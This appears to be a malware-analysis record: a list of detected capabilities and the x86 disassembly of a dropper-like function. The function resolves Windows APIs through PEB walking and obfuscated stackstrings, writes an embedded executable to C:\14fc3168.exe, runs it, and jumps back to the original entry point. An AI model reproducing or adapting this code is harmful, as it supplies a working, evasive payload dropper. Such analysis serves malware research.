Function at 0x408000
Capabilities:
Accept command line arguments
Access peb ldr_data
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Delete file
Get common file path
Get file attributes
Resolve function by parsing pe exports
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
and dword [ebp - 0x34], 0
and dword [ebp - 0x2c], 0
and dword [ebp - 8], 0
and dword [ebp - 0x28], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x30], 0
and dword [ebp - 0x38], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x10], 0
and dword [ebp - 4], 0
push dword fs:[0x30]
pop eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x58], 0x50746547
mov dword [ebp - 0x54], 0x41636f72
mov dword [ebp - 0x50], 0x65726464
mov dword [ebp - 0x4c], 0x7373
and dword [ebp - 0x5c], 0
jmp 0x4080c0
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [eax + 0x18]
jae 0x408150
mov dword [ebp - 0x68], 1
and dword [ebp - 0x64], 0
and dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x64], edx
lea eax, [ebp - 0x58]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
movsx eax, byte [eax]
test eax, eax
je 0x408123
mov eax, dword [ebp - 0x60]
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x64]
movsx ecx, byte [ecx]
cmp eax, ecx
je 0x408113
and dword [ebp - 0x68], 0
jmp 0x408123
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
jmp 0x4080f3
cmp dword [ebp - 0x68], 1
jne 0x40814b
mov eax, dword [ebp - 0x64]
movsx eax, byte [eax]
test eax, eax
jne 0x40814b
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x28]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x30], edx
jmp 0x408150
jmp 0x4080b9
mov dword [ebp - 0x58], 0x61657243
mov dword [ebp - 0x54], 0x69466574
mov dword [ebp - 0x50], 0x41656c
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], 0x74697257
mov dword [ebp - 0x54], 0x6c694665
mov dword [ebp - 0x50], 0x65
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x58], 0x736f6c43
mov dword [ebp - 0x54], 0x6e614865
mov dword [ebp - 0x50], 0x656c64
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x58], 0x456e6957
mov dword [ebp - 0x54], 0x636578
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x30]
mov dword [ebp - 4], eax
mov dword [ebp - 0x58], 0x315c3a43
mov dword [ebp - 0x54], 0x33636634
mov dword [ebp - 0x50], 0x2e383631
mov dword [ebp - 0x4c], 0x657865
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x408286
and dword [ebp - 0x6c], 0
call 0x408218
pop eax
mov dword [ebp - 0x6c], eax
and dword [ebp - 0x70], 0
jmp 0x408229
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x1f4
jge 0x408286
mov eax, dword [ebp - 0x6c]
movsx eax, byte [eax]
cmp eax, 0x4d
jne 0x40827d
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x40827d
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax + 2]
cmp eax, 0x90
jne 0x40827d
push 0
lea eax, [ebp - 8]
push eax
push 0x15f30
push dword [ebp - 0x6c]
push dword [ebp - 0x24]
call dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [ebp - 0x10]
push 5
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 4]
jmp 0x408286
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
jmp 0x408222
leave
add esp, 4
jmp 0x401a50